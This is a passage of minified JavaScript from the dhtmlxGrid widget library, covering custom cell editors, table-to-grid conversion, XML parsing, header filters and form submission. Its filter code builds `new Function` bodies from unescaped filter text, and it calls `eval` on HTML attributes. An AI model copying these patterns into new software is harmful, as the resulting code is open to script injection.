l==\"string\"){l=l.split(this.delim)}for(var e=0;e<l.length;e++){if(!dhtmlxValidation.checkValue(g,l[e])){if(this.callEvent(\"onValidationError\",[m,h,g,l[e]])){c.className+=\" dhtmlx_validation_error\"}a=false}}if(a){this.callEvent(\"onValidationCorrect\",[m,h,g,l]);c.className=c.className.replace(/[ ]*dhtmlx_validation_error/g,\"\")}return a};function eXcell_stree(a){if(a){this.cell=a;this.grid=this.cell.parentNode.grid;if(!this.grid._sub_trees){return}this._sub=this.grid._sub_trees[a._cellIndex];if(!this._sub){return}this._sub=this._sub[0]}this.getValue=function(){return this.cell._val};this.setValue=function(c){this.cell._val=c;c=this._sub.getItemText(this.cell._val);this.setCValue((c||\"&nbsp;\"),c)};this.edit=function(){this._sub.parentObject.style.display=\"block\";var e=this.grid.getPosition(this.cell);this._sub.parentObject.style.top=e[1]+\"px\";this._sub.parentObject.style.left=e[0]+\"px\";this._sub.parentObject.style.position=\"absolute\";var c=this.grid.editStop;this.grid.editStop=function(){};this.grid.editStop=c};this.detach=function(){this._sub.parentObject.style.display=\"none\";if(this.grid._sub_id!=null){var c=this.cell._val;this.setValue(this._sub.getSelectedItemId());this.grid._sub_id=null;return this.cell._val!=c}}}eXcell_stree.prototype=new eXcell;dhtmlXGridObject.prototype.setSubTree=function(a,c){if(!this._sub_trees){this._sub_trees=[]}this._sub_trees[c]=[a];a.parentObject.style.display=\"none\";var e=this;a.parentObject.onclick=function(g){(g||window.event).cancelBubble=true;return false};a.ev_onDblClick=null;a.attachEvent(\"onDblClick\",function(g){e._sub_id=g;e.editStop();return true});a._chRRS=true};function eXcell_link(a){this.cell=a;this.grid=this.cell.parentNode.grid;this.isDisabled=function(){return true};this.edit=function(){};this.getValue=function(){if(this.cell.firstChild.getAttribute){var c=this.cell.firstChild.getAttribute(\"target\");return this.cell.firstChild.innerHTML+\"^\"+this.cell.firstChild.getAttribute(\"href\")+(c?(\"^\"+c):\"\")}else{return\"\"}};this.setValue=function(e){if((typeof(e)!=\"number\")&&(!e||e.toString()._dhx_trim()==\"\")){this.setCValue(\"&nbsp;\",c);return(this.cell._clearCell=true)}var c=e.split(\"^\");if(c.length==1){c[1]=\"\"}else{if(c.length>1){c[1]=\"href='\"+c[1]+\"'\";if(c.length==3){c[1]+=\" target='\"+c[2]+\"'\"}else{c[1]+=\" target='_blank'\"}}}this.setCValue(\"<a \"+c[1]+\" onclick='(_isIE?event:arguments[0]).cancelBubble = true;'>\"+c[0]+\"</a>\",c)}}eXcell_link.prototype=new eXcell;eXcell_link.prototype.getTitle=function(){var a=this.cell.firstChild;return((a&&a.tagName)?a.getAttribute(\"href\"):\"\")};eXcell_link.prototype.getContent=function(){var a=this.cell.firstChild;return((a&&a.tagName)?a.innerHTML:\"\")};function eXcell_grid(a){if(a){this.cell=a;this.grid=this.cell.parentNode.grid;if(!this.grid._sub_grids){return}this._sub=this.grid._sub_grids[a._cellIndex];if(!this._sub){return}this._sindex=this._sub[1];this._sub=this._sub[0]}this.getValue=function(){return this.cell.val};this.setValue=function(c){this.cell.val=c;if(this._sub.getRowById(c)){c=this._sub.cells(c,this._sindex);if(c){c=c.getValue()}else{c=\"\"}}this.setCValue((c||\"&nbsp;\"),c)};this.edit=function(){this.val=this.cell.val;this._sub.entBox.style.display=\"block\";var e=this.grid.getPosition(this.cell);this._sub.entBox.style.top=e[1]+\"px\";this._sub.entBox.style.left=e[0]+\"px\";this._sub.entBox.style.position=\"absolute\";this._sub.setSizes();var c=this.grid.editStop;this.grid.editStop=function(){};if(this._sub.getRowById(this.cell.val)){this._sub.setSelectedRow(this.cell.val)}this._sub.setActive(true);this.grid.editStop=c};this.detach=function(){var c=this.cell.val;this._sub.entBox.style.display=\"none\";if(this._sub.getSelectedId()===null){return false}this.setValue(this._sub.getSelectedId());this.grid.setActive(true);return this.cell.val!=c}}eXcell_grid.prototype=new eXcell;dhtmlXGridObject.prototype.setSubGrid=function(c,a,g){if(!this._sub_grids){this._sub_grids=[]}this._sub_grids[a]=[c,g];c.entBox.style.display=\"none\";var e=this;c.entBox.onclick=function(h){(h||window.event).cancelBubble=true;return false};c.attachEvent(\"onRowSelect\",function(h){e.editStop();return true});c._chRRS=false};function eXcell_dhxCalendar(a){if(a){this.cell=a;this.grid=this.cell.parentNode.grid;if(!this.grid._grid_calendarA){var e=this.grid._grid_calendarA=new dhtmlxCalendarObject();this.grid.callEvent(\"onDhxCalendarCreated\",[e]);var c=this.grid;e.attachEvent(\"onClick\",function(){this._last_operation_calendar=true;window.setTimeout(function(){c.editStop()},1);return true});var g=function(h){(h||event).cancelBubble=true};dhtmlxEvent(e.base,\"click\",g);e=null}}}eXcell_dhxCalendar.prototype=new eXcell;eXcell_dhxCalendar.prototype.edit=function(){var c=this.grid.getPosition(this.cell);this.grid._grid_calendarA._show(false,false);this.grid._grid_calendarA.setPosition(c[0],c[1]+this.cell.offsetHeight);this.grid._grid_calendarA._last_operation_calendar=false;this.grid.callEvent(\"onCalendarShow\",[this.grid._grid_calendarA,this.cell.parentNode.idd,this.cell._cellIndex]);this.cell._cediton=true;this.val=this.cell.val;this._val=this.cell.innerHTML;var a=this.grid._grid_calendarA.draw;this.grid._grid_calendarA.draw=function(){};this.grid._grid_calendarA.setDateFormat((this.grid._dtmask||\"%d/%m/%Y\"));this.grid._grid_calendarA.setDate(this.val||(new Date()));this.grid._grid_calendarA.draw=a};eXcell_dhxCalendar.prototype.getDate=function(){if(this.cell.val){return this.cell.val}return null};eXcell_dhxCalendar.prototype.getValue=function(){if(this.cell._clearCell){return\"\"}if(this.grid._dtmask_inc&&this.cell.val){return this.grid._grid_calendarA.getFormatedDate(this.grid._dtmask_inc,this.cell.val).toString()}return this.cell.innerHTML.toString()._dhx_trim()};eXcell_dhxCalendar.prototype.detach=function(){if(!this.grid._grid_calendarA){return}this.grid._grid_calendarA.hide();if(this.cell._cediton){this.cell._cediton=false}else{return}if(this.grid._grid_calendarA._last_operation_calendar){var e=this.grid._grid_calendarA.getFormatedDate((this.grid._dtmask||\"%d/%m/%Y\"));var c=this.grid._grid_calendarA.getDate();this.cell.val=new Date(c);this.setCValue(e,c);this.cell._clearCell=!e;var a=this.val;this.val=this._val;return(this.cell.val.valueOf()!=a)}return false};eXcell_dhxCalendar.prototype.setValue=function(a){if(a&&typeof a==\"object\"){this.cell.val=a;this.cell._clearCell=false;this.setCValue(this.grid._grid_calendarA.getFormatedDate((this.grid._dtmask||\"%d/%m/%Y\"),a).toString(),this.cell.val);return}if(!a||a.toString()._dhx_trim()==\"\"){a=\"&nbsp\";this.cell._clearCell=true;this.cell.val=\"\"}else{this.cell._clearCell=false;this.cell.val=new Date(this.grid._grid_calendarA.setFormatedDate((this.grid._dtmask_inc||this.grid._dtmask||\"%d/%m/%Y\"),a.toString(),null,true));if(this.grid._dtmask_inc){a=this.grid._grid_calendarA.getFormatedDate((this.grid._dtmask||\"%d/%m/%Y\"),this.cell.val)}}if((this.cell.val==\"NaN\")||(this.cell.val==\"Invalid Date\")){this.cell._clearCell=true;this.cell.val=new Date();this.setCValue(\"&nbsp;\",0)}else{this.setCValue((a||\"\").toString(),this.cell.val)}};function eXcell_dhxCalendarA(a){if(a){this.cell=a;this.grid=this.cell.parentNode.grid;if(!this.grid._grid_calendarA){var e=this.grid._grid_calendarA=new dhtmlxCalendarObject();this.grid.callEvent(\"onDhxCalendarCreated\",[e]);var c=this.grid;e.attachEvent(\"onClick\",function(){this._last_operation_calendar=true;window.setTimeout(function(){c.editStop()},1);return true});var g=function(h){(h||event).cancelBubble=true};dhtmlxEvent(e.base,\"click\",g)}}}eXcell_dhxCalendarA.prototype=new eXcell;eXcell_dhxCalendarA.prototype.edit=function(){var c=this.grid.getPosition(this.cell);this.grid._grid_calendarA._show(false,false);this.grid._grid_calendarA.setPosition(c[0]*1+this.cell.offsetWidth,c[1]*1);this.grid.callEvent(\"onCalendarShow\",[this.grid._grid_calendarA,this.cell.parentNode.idd,this.cell._cellIndex]);this.grid._grid_calendarA._last_operation_calendar=false;this.cell._cediton=true;this.val=this.cell.val;this._val=this.cell.innerHTML;var a=this.grid._grid_calendarA.draw;this.grid._grid_calendarA.draw=function(){};this.grid._grid_calendarA.setDateFormat((this.grid._dtmask||\"%d/%m/%Y\"));this.grid._grid_calendarA.setDate(this.val);this.grid._grid_calendarA.draw=a;this.cell.atag=((!this.grid.multiLine)&&(_isKHTML||_isMacOS||_isFF))?\"INPUT\":\"TEXTAREA\";this.obj=document.createElement(this.cell.atag);this.obj.style.height=(this.cell.offsetHeight-4)+\"px\";this.obj.className=\"dhx_combo_edit\";this.obj.wrap=\"soft\";this.obj.style.textAlign=this.cell.align;this.obj.onclick=function(g){(g||event).cancelBubble=true};this.obj.onmousedown=function(g){(g||event).cancelBubble=true};this.obj.value=this.getValue();this.cell.innerHTML=\"\";this.cell.appendChild(this.obj);if(window.dhx4.isIE){this.obj.style.overflow=\"visible\";if((this.grid.multiLine)&&(this.obj.offsetHeight>=18)&&(this.obj.offsetHeight<40)){this.obj.style.height=\"36px\";this.obj.style.overflow=\"scroll\"}}this.obj.onselectstart=function(g){if(!g){g=event}g.cancelBubble=true;return true};this.obj.focus();this.obj.focus()};eXcell_dhxCalendarA.prototype.getDate=function(){if(this.cell.val){return this.cell.val}return null};eXcell_dhxCalendarA.prototype.getValue=function(){if(this.cell._clearCell){return\"\"}if(this.grid._dtmask_inc&&this.cell.val){return this.grid._grid_calendarA.getFormatedDate(this.grid._dtmask_inc,this.cell.val).toString()}return this.cell.innerHTML.toString()._dhx_trim()};eXcell_dhxCalendarA.prototype.detach=function(){if(!this.grid._grid_calendarA){return}this.grid._grid_calendarA.hide();if(this.cell._cediton){this.cell._cediton=false}else{return}if(this.grid._grid_calendarA._last_operation_calendar){this.grid._grid_calendarA._last_operation_calendar=false;var e=this.grid._grid_calendarA.getFormatedDate(this.grid._dtmask||\"%d/%m/%Y\");var c=this.grid._grid_calendarA.getDate();this.cell.val=new Date(c);this.setCValue(e,c);this.cell._clearCell=!e;var a=this.val;this.val=this._val;return(this.cell.val.valueOf()!=(a|\"\").valueOf())}this.setValue(this.obj.value);var a=this.val;this.val=this._val;return(this.cell.val.valueOf()!=(a||\"\").valueOf())};eXcell_dhxCalendarA.prototype.setValue=function(a){if(a&&typeof a==\"object\"){this.cell.val=a;this.cell._clearCell=false;this.setCValue(this.grid._grid_calendarA.getFormatedDate((this.grid._dtmask||\"%d/%m/%Y\"),a).toString(),this.cell.val);return}if(!a||a.toString()._dhx_trim()==\"\"){a=\"&nbsp\";this.cell._clearCell=true;this.cell.val=\"\"}else{this.cell._clearCell=false;this.cell.val=new Date(this.grid._grid_calendarA.setFormatedDate((this.grid._dtmask_inc||this.grid._dtmask||\"%d/%m/%Y\"),a.toString(),null,true));if(this.grid._dtmask_inc){a=this.grid._grid_calendarA.getFormatedDate((this.grid._dtmask||\"%d/%m/%Y\"),this.cell.val)}}if((this.cell.val==\"NaN\")||(this.cell.val==\"Invalid Date\")){this.cell.val=new Date();this.cell._clearCell=true;this.setCValue(\"&nbsp;\",0)}else{this.setCValue((a||\"\").toString(),this.cell.val)}};function eXcell_cntr(a){this.cell=a;this.grid=this.cell.parentNode.grid;if(!this.grid._ex_cntr_ready&&!this._realfake){this.grid._ex_cntr_ready=true;if(this.grid._h2){this.grid.attachEvent(\"onOpenEn\",function(e){this.resetCounter(a._cellIndex)})}var c=function(){var e=this;window.setTimeout(function(){if(!e.resetCounter){return}if(e._fake&&!e._realfake&&a._cellIndex<e._fake._cCount){e._fake.resetCounter(a._cellIndex)}else{e.resetCounter(a._cellIndex)}},1);return true};this.grid.attachEvent(\"onBeforeSorting\",c);this.grid.attachEvent(\"onFilterEnd\",c)}this.edit=function(){};this.getValue=function(){return this.cell.innerHTML};this.setValue=function(g){this.cell.style.paddingRight=\"2px\";var e=this.cell;window.setTimeout(function(){if(!e.parentNode){return}var h=e.parentNode.rowIndex;if(e.parentNode.grid.currentPage||h<0||e.parentNode.grid._srnd){h=e.parentNode.grid.rowsBuffer._dhx_find(e.parentNode)+1}if(h<=0){return}e.innerHTML=h;if(e.parentNode.grid._fake&&e._cellIndex<e.parentNode.grid._fake._cCount&&e.parentNode.grid._fake.rowsAr[e.parentNode.idd]){e.parentNode.grid._fake.cells(e.parentNode.idd,e._cellIndex).setCValue(h)}e=null},100)}}dhtmlXGridObject.prototype.resetCounter=function(c){if(this._fake&&!this._realfake&&c<this._fake._cCount){this._fake.resetCounter(c,this.currentPage)}var a=arguments[0]||0;if(this.currentPage){a=(this.currentPage-1)*this.rowsBufferOutSize}for(a=0;a<this.rowsBuffer.length;a++){if(this.rowsBuffer[a]&&this.rowsBuffer[a].tagName==\"TR\"&&this.rowsAr[this.rowsBuffer[a].idd]){this.rowsAr[this.rowsBuffer[a].idd].childNodes[c].innerHTML=a+1}}};eXcell_cntr.prototype=new eXcell;function eXcell_acheck(a){try{this.cell=a;this.grid=this.cell.parentNode.grid;this.cell.obj=this}catch(c){}this.changeState=function(){if((!this.grid.isEditable)||(this.cell.parentNode._locked)||(this.isDisabled())){return}if(this.grid.callEvent(\"onEditCell\",[0,this.cell.parentNode.idd,this.cell._cellIndex])!=false){this.val=this.getValue();if(this.val==\"1\"){this.setValue(\"<checkbox state='false'>\")}else{this.setValue(\"<checkbox state='true'>\")}this.cell.wasChanged=true;this.grid.callEvent(\"onEditCell\",[1,this.cell.parentNode.idd,this.cell._cellIndex]);this.grid.callEvent(\"onCheck\",[this.cell.parentNode.idd,this.cell._cellIndex,(this.val!=\"1\")]);this.grid.callEvent(\"onCheckbox\",[this.cell.parentNode.idd,this.cell._cellIndex,(this.val!=\"1\")])}else{this.editor=null}};this.getValue=function(){try{return this.cell.chstate.toString()}catch(e){return null}};this.isCheckbox=function(){return true};this.isChecked=function(){if(this.getValue()==\"1\"){return true}else{return false}};this.setChecked=function(e){this.setValue(e.toString())};this.detach=function(){return this.val!=this.getValue()};this.drawCurrentState=function(){if(this.cell.chstate==1){return\"<div  onclick='(new eXcell_acheck(this.parentNode)).changeState(); (arguments[0]||event).cancelBubble=true;'  style='cursor:pointer; font-weight:bold; text-align:center; '><span style='height:8px; width:8px; background:green; display:inline-block;'></span>&nbsp;Yes</div>\"}else{return\"<div  onclick='(new eXcell_acheck(this.parentNode)).changeState(); (arguments[0]||event).cancelBubble=true;' style='cursor:pointer;  text-align:center; '><span style='height:8px; width:8px; background:red; display:inline-block;'></span>&nbsp;No</div>\"}}}eXcell_acheck.prototype=new eXcell;eXcell_acheck.prototype.setValue=function(c){c=(c||\"\").toString();if(c.indexOf(\"1\")!=-1||c.indexOf(\"true\")!=-1){c=\"1\";this.cell.chstate=\"1\"}else{c=\"0\";this.cell.chstate=\"0\"}var a=this;this.setCValue(this.drawCurrentState(),this.cell.chstate)};function eXcell_context(a){if(a){this.cell=a;this.grid=this.cell.parentNode.grid;if(!this.grid._sub_context){return}this._sub=this.grid._sub_context[a._cellIndex];if(!this._sub){return}this._sindex=this._sub[1];this._sub=this._sub[0]}this.getValue=function(){return _isIE?this.cell.innerText:this.cell.textContent};this.setValue=function(e){this.cell._val=e;var c=this._sub.itemPull[this._sub.idPrefix+this.cell._val];e=c?c.title:e;this.setCValue((e||\"&nbsp;\"),e)};this.edit=function(){var e=this.grid.getPosition(this.cell);this._sub.showContextMenu(e[0]+this.cell.offsetWidth,e[1]);var c=this.grid.editStop;this.grid.editStop=function(){};this.grid.editStop=c};this.detach=function(){if(this.grid._sub_id!=null){var c=this.cell._val;this.setValue(this.grid._sub_id);this.grid._sub_id=null;return this.cell._val!=c}this._sub.hideContextMenu()}}eXcell_context.prototype=new eXcell;dhtmlXGridObject.prototype.setSubContext=function(a,c,g){var e=this;a.attachEvent(\"onClick\",function(l,h){e._sub_id=l;e.editStop();a.hideContextMenu();return true});if(!this._sub_context){this._sub_context=[]}this._sub_context[c]=[a,g];a.hideContextMenu()};function dhtmlXGridFromTable(obj,init){if(typeof(obj)!=\"object\"){obj=document.getElementById(obj)}var w=document.createElement(\"DIV\");w.setAttribute(\"width\",obj.getAttribute(\"gridWidth\")||(obj.offsetWidth?(obj.offsetWidth+\"px\"):0)||(window.getComputedStyle?window.getComputedStyle(obj,null)[\"width\"]:(obj.currentStyle?obj.currentStyle.width:0)));w.setAttribute(\"height\",obj.getAttribute(\"gridHeight\")||(obj.offsetHeight?(obj.offsetHeight+\"px\"):0)||(window.getComputedStyle?window.getComputedStyle(obj,null)[\"height\"]:(obj.currentStyle?obj.currentStyle.height:0)));w.className=obj.className;obj.className=\"\";if(obj.id){w.id=obj.id}var mr=obj;var drag=obj.getAttribute(\"dragAndDrop\");mr.parentNode.insertBefore(w,mr);var f=mr.getAttribute(\"name\")||(\"name_\"+(new Date()).valueOf());var windowf=new dhtmlXGridObject(w);window[f]=windowf;var acs=mr.getAttribute(\"onbeforeinit\");var acs2=mr.getAttribute(\"oninit\");if(acs){eval(acs)}windowf.setImagePath(windowf.imgURL||(mr.getAttribute(\"imgpath\")||mr.getAttribute(\"image_path\")||\"\"));var skin=mr.getAttribute(\"skin\");if(skin){windowf.setSkin(skin)}if(init){init(windowf)}var hrow=mr.rows[0];var za=\"\";var zb=\"\";var zc=\"\";var zd=\"\";var ze=\"\";for(var i=0;i<hrow.cells.length;i++){za+=(za?\",\":\"\")+hrow.cells[i].innerHTML;var width=hrow.cells[i].getAttribute(\"width\")||hrow.cells[i].offsetWidth||(window.getComputedStyle?window.getComputedStyle(hrow.cells[i],null)[\"width\"]:(hrow.cells[i].currentStyle?hrow.cells[i].currentStyle.width:0));zb+=(zb?\",\":\"\")+(width==\"*\"?width:parseInt(width));zc+=(zc?\",\":\"\")+(hrow.cells[i].getAttribute(\"align\")||\"left\");zd+=(zd?\",\":\"\")+(hrow.cells[i].getAttribute(\"type\")||\"ed\");ze+=(ze?\",\":\"\")+(hrow.cells[i].getAttribute(\"sort\")||\"str\");var f_a=hrow.cells[i].getAttribute(\"format\");if(f_a){if(hrow.cells[i].getAttribute(\"type\").toLowerCase().indexOf(\"calendar\")!=-1){windowf._dtmask=f_a}else{windowf.setNumberFormat(f_a,i)}}}windowf.setHeader(za);windowf.setInitWidths(zb);windowf.setColAlign(zc);windowf.setColTypes(zd);windowf.setColSorting(ze);if(obj.getAttribute(\"gridHeight\")==\"auto\"){windowf.enableAutoHeigth(true)}if(obj.getAttribute(\"multiline\")){windowf.enableMultiline(true)}var lmn=mr.getAttribute(\"lightnavigation\");if(lmn){windowf.enableLightMouseNavigation(lmn)}var evr=mr.getAttribute(\"evenrow\");var uevr=mr.getAttribute(\"unevenrow\");if(evr||uevr){windowf.enableAlterCss(evr,uevr)}if(drag){windowf.enableDragAndDrop(true)}windowf.init();if(obj.getAttribute(\"split\")){windowf.splitAt(obj.getAttribute(\"split\"))}windowf._process_inner_html(mr,1);if(acs2){eval(acs2)}if(obj.parentNode&&obj.parentNode.removeChild){obj.parentNode.removeChild(obj)}return windowf}dhtmlXGridObject.prototype._process_html=function(c){if(c.tagName&&c.tagName==\"TABLE\"){return this._process_inner_html(c,0)}var a=document.createElement(\"DIV\");a.innerHTML=c.xmlDoc.responseText;var e=a.getElementsByTagName(\"TABLE\")[0];this._process_inner_html(e,0)};dhtmlXGridObject.prototype._process_inner_html=function(e,h){var c=e.rows.length;for(var a=h;a<c;a++){var g=e.rows[a].getAttribute(\"id\")||a;this.rowsBuffer.push({idd:g,data:e.rows[a],_parser:this._process_html_row,_locator:this._get_html_data})}this.render_dataset();this.setSizes()};dhtmlXGridObject.prototype._process_html_row=function(n,h){var m=h.getElementsByTagName(\"TD\");var c=[];n._attrs=this._xml_attrs(h);for(var g=0;g<m.length;g++){var l=m[g];var a=l.getAttribute(\"type\");if(n.childNodes[g]){if(a){n.childNodes[g]._cellType=a}n.childNodes[g]._attrs=this._xml_attrs(m[g])}if(l.firstChild){c.push(l.innerHTML)}else{c.push(\"\")}if(l.colSpan>1){n.childNodes[g]._attrs.colspan=l.colSpan;for(var e=1;e<l.colSpan;e++){c.push(\"\")}}}for(g<m.length;g<n.childNodes.length;g++){n.childNodes[g]._attrs={}}this._fillRow(n,(this._c_order?this._swapColumns(c):c));return n};dhtmlXGridObject.prototype._get_html_data=function(c,a){c=c.firstChild;while(true){if(!c){return\"\"}if(c.tagName==\"TD\"){a--}if(a<0){break}c=c.nextSibling}return(c.firstChild?c.firstChild.data:\"\")};dhtmlxEvent(window,\"load\",function(){var e=document.getElementsByTagName(\"table\");for(var c=0;c<e.length;c++){if(e[c].className==\"dhtmlxGrid\"){dhtmlXGridFromTable(e[c])}}});dhtmlXGridObject.prototype._process_xmlA=function(a){this._parsing=true;var l=dhx4.ajax.xmltop(this.xml.top,a);this._parseHead(l);var h=dhx4.ajax.xpath(this.xml.row,l);var g=parseInt(l.getAttribute(\"pos\")||0);var e=parseInt(l.getAttribute(\"total_count\")||0);if(e&&!this.rowsBuffer[e-1]){this.rowsBuffer[e-1]=null}if(this.isTreeGrid()){this._get_xml_data=this._get_xml_dataA;this._process_xml_row=this._process_xml_rowA;return this._process_tree_xml(a)}for(var c=0;c<h.length;c++){if(this.rowsBuffer[c+g]){continue}var m=h[c].getAttribute(\"id\")||this.uid();this.rowsBuffer[c+g]={idd:m,data:h[c],_parser:this._process_xml_rowA,_locator:this._get_xml_dataA};this.rowsAr[m]=h[c]}this.render_dataset();this._parsing=false};dhtmlXGridObject.prototype._process_xmlB=function(a){this._parsing=true;var l=dhx4.ajax.xmltop(this.xml.top,a);this._parseHead(l);var h=dhx4.ajax.xpath(this.xml.row,l);var g=parseInt(l.getAttribute(\"pos\")||0);var e=parseInt(l.getAttribute(\"total_count\")||0);if(e&&!this.rowsBuffer[e-1]){this.rowsBuffer[e-1]=null}if(this.isTreeGrid()){this._get_xml_data=this._get_xml_dataB;this._process_xml_row=this._process_xml_rowB;return this._process_tree_xml(a)}for(var c=0;c<h.length;c++){if(this.rowsBuffer[c+g]){continue}var m=h[c].getAttribute(\"id\")||this.uid();this.rowsBuffer[c+g]={idd:m,data:h[c],_parser:this._process_xml_rowB,_locator:this._get_xml_dataB};this.rowsAr[m]=h[c]}this.render_dataset();this._parsing=false};dhtmlXGridObject.prototype._process_xml_rowA=function(h,e){var a=[];h._attrs=this._xml_attrs(e);for(var c=0;c<this.columnIds.length;c++){var l=this.columnIds[c];var g=h._attrs[l]||\"\";if(h.childNodes[c]){h.childNodes[c]._attrs={}}a.push(g)}this._fillRow(h,(this._c_order?this._swapColumns(a):a));return h};dhtmlXGridObject.prototype._get_xml_dataA=function(c,a){return c.getAttribute(this.getColumnId(a))};dhtmlXGridObject.prototype._process_xml_rowB=function(a,h){var n=[];a._attrs=this._xml_attrs(h);if(this._ud_enabled){var o=dhx4.ajax.xpath(\"./userdata\",h);for(var e=o.length-1;e>=0;e--){this.setUserData(o[e].getAttribute(\"name\"),o[e].firstChild?o[e].firstChild.data:\"\")}}for(var m=0;m<h.childNodes.length;m++){var g=h.childNodes[m];if(!g.tagName){continue}var c=this.getColIndexById(g.tagName);if(isNaN(c)){continue}var l=g.getAttribute(\"type\");if(l){a.childNodes[c]._cellType=l}a.childNodes[c]._attrs=this._xml_attrs(g);if(g.getAttribute(\"xmlcontent\")){}else{if(g.firstChild){g=g.firstChild.data}else{g=\"\"}}n[c]=g}for(var e=0;e<a.childNodes.length;e++){if(!a.childNodes[e]._attrs){a.childNodes[e]._attrs={}}}this._fillRow(a,n);return a};dhtmlXGridObject.prototype._get_xml_dataB=function(c,a){var e=this.getColumnId(a);c=c.firstChild;while(true){if(!c){return\"\"}if(c.tagName==e){return(c.firstChild?c.firstChild.data:\"\")}c=c.nextSibling}return\"\"};dhtmlXGridObject.prototype.startFastOperations=function(){this._disF=[\"setSizes\",\"callEvent\",\"_fixAlterCss\",\"cells4\",\"forEachRow\",\"_correctMonolite\"];this._disA=[];for(var a=this._disF.length-1;a>=0;a--){this._disA[a]=this[this._disF[a]];this[this._disF[a]]=function(){return true}}this._cellCache=[];this.cells4=function(e){var g=this._cellCache[e._cellIndex];if(!g){g=this._cellCache[e._cellIndex]=this._disA[3].apply(this,[e]);g.destructor=function(){return true};g.setCValue=function(c){g.cell.innerHTML=c}}g.cell=e;g.combo=e._combo||this.combos[e._cellIndex];return g}};dhtmlXGridObject.prototype.stopFastOperations=function(){if(!this._disF){return}for(var a=this._disF.length-1;a>=0;a--){this[this._disF[a]]=this._disA[a]}if(this._correctMonolite){this._correctMonolite()}this.setSizes();this.callEvent(\"onGridReconstructed\",[])};dhtmlXGridObject.prototype._in_header_number_filter=function(e,c){this._in_header_text_filter.call(this,e,c);var a=this;e.firstChild._filter=function(){var g=a._get_filters(this.value,\"num\");return function(m){var h=g.length>0?false:true;for(var l=0;l<g.length;l++){h=h||g[l](m)}return h}}};dhtmlXGridObject.prototype._in_header_string_filter=function(e,c){this._in_header_text_filter.call(this,e,c);var a=this;e.firstChild._filter=function(){var g=a._get_filters(this.value,\"str\");return function(m){var h=g.length>0?false:true;for(var l=0;l<g.length;l++){h=h||g[l](m)}return h}}};dhtmlXGridObject.prototype._get_filters=function(l,e){var a=l.split(\",\");var g=[];for(var c=0;c<a.length;c++){if(a[c]==\"\"){continue}var h=this[\"_get_\"+e+\"_filter\"](a[c]);g.push(h)}return g};dhtmlXGridObject.prototype._get_str_filter=function(c){if(c==\"null\"||c==\"empty\"){return new Function(\"value\",'if (value == null || value == \"\") return true; return false;')}if(c==\"!null\"||c==\"!empty\"){return new Function(\"value\",'if (value == null || value == \"\") return false; return true;')}if(c.substr(0,1)===\"!\"){var a=c.substr(1);return new Function(\"value\",'if (value !== \"'+a+'\") return true; return false;')}if(c.substr(0,1)===\"~\"){var a=c.substr(1);return new Function(\"value\",'if (value.indexOf(\"'+a+'\") !== -1) return true; return false;')}if(c.substr(0,1)===\"^\"&&c.substr(c.length-1,1)===\"&\"){c=\"=\"+c.substr(1,c.length-2)}if(c.substr(0,1)===\"^\"){var a=c.substr(1);return new Function(\"value\",\"if (value.substr(0, \"+a.length+') === \"'+a+'\") return true; return false;')}if(c.substr(c.length-1,1)===\"&\"){var a=c.substr(0,c.length-1);return new Function(\"value\",\"if (value.substr(value.length - \"+a.length+') === \"'+a+'\") return true; return false;')}if(c.substr(0,1)===\"=\"){var a=c.substr(1)}else{var a=c}return new Function(\"value\",'if (value === \"'+a+'\") return true; return false;')};dhtmlXGridObject.prototype._get_num_filter=function(h){if(h==\"null\"||h==\"empty\"){return new Function(\"value\",'if (value == null || value == \"\") return true; return false;')}if(h==\"!null\"||h==\"!empty\"){return new Function(\"value\",'if (value == null || value == \"\") return false; return true;')}var a=h.split(\"..\");if(a.length==2){var l=parseFloat(a[0]);var g=parseFloat(a[1]);return new Function(\"value\",\"if (value >= \"+l+\" && value <= \"+g+\") return true; return false;\")}var e=h.match(/<>|>=|<=|>|<|=/);if(e){var m=e[0];var c=parseFloat(h.replace(m,\"\"))}else{var m=\"==\";c=parseFloat(h)}if(m==\"<>\"){m=\"!=\"}if(m==\"=\"){m=\"==\"}return new Function(\"value\",\" if (value \"+m+\" \"+c+\" ) return true; return false;\")};dhtmlXGridObject.prototype.attachHeaderA=dhtmlXGridObject.prototype.attachHeader;dhtmlXGridObject.prototype.attachHeader=function(){this.attachHeaderA.apply(this,arguments);if(this._realfake){return true}this.formAutoSubmit();if(typeof(this.FormSubmitOnlyChanged)==\"undefined\"){this.submitOnlyChanged(true)}if(typeof(this._submitAR)==\"undefined\"){this.submitAddedRows(true)}var a=this;this._added_rows=[];this._deleted_rows=[];this.attachEvent(\"onRowAdded\",function(c){a._added_rows.push(c);a.forEachCell(c,function(e){e.cell.wasChanged=true});return true});this.attachEvent(\"onBeforeRowDeleted\",function(c){a._deleted_rows.push(c);return true});this.attachHeader=this.attachHeaderA};dhtmlXGridObject.prototype.formAutoSubmit=function(){this.parentForm=this.detectParentFormPresent();if(this.parentForm===false){return false}if(this.formEventAttached){return}this.formInputs=new Array();var a=this;dhtmlxEvent(this.parentForm,\"submit\",function(){if(a.entBox){a.parentFormOnSubmit()}});this.formEventAttached=true};dhtmlXGridObject.prototype.parentFormOnSubmit=function(){this.formCreateInputCollection();if(!this.callEvent(\"onBeforeFormSubmit\",[])){return false}};dhtmlXGridObject.prototype.submitOnlyChanged=function(a){this.FormSubmitOnlyChanged=dhx4.s2b(a)};dhtmlXGridObject.prototype.submitColumns=function(a){if(typeof a==\"string\"){a=a.split(this.delim)}this._submit_cols=a};dhtmlXGridObject.prototype.setFieldName=function(a){a=a.replace(/\\{GRID_ID\\}/g,\"'+a1+'\");a=a.replace(/\\{ROW_ID\\}/g,\"'+a2+'\");a=a.replace(/\\{ROW_INDEX\\}/g,\"'+this.getRowIndex(a2)+'\");a=a.replace(/\\{COLUMN_INDEX\\}/g,\"'+a3+'\");a=a.replace(/\\{COLUMN_ID\\}/g,\"'+this.getColumnId(a3)+'\");this._input_mask=Function(\"a1\",\"a2\",\"a3\",\"return '\"+a+\"';\")};dhtmlXGridObject.prototype.submitSerialization=function(a){this.FormSubmitSerialization=dhx4.s2b(a)};dhtmlXGridObject.prototype.submitAddedRows=function(a){this._submitAR=dhx4.s2b(a)};dhtmlXGridObject.prototype.submitOnlySelected=function(a){this.FormSubmitOnlySelected=dhx4.s2b(a)};dhtmlXGridObject.prototype.submitOnlyRowID=function(a){this.FormSubmitOnlyRowID=dhx4.s2b(a)};dhtmlXGridObject.prototype.createFormInput=function(c,e){var a=document.createElement(\"input\");a.type=\"hidden\";if(this._input_mask&&(typeof 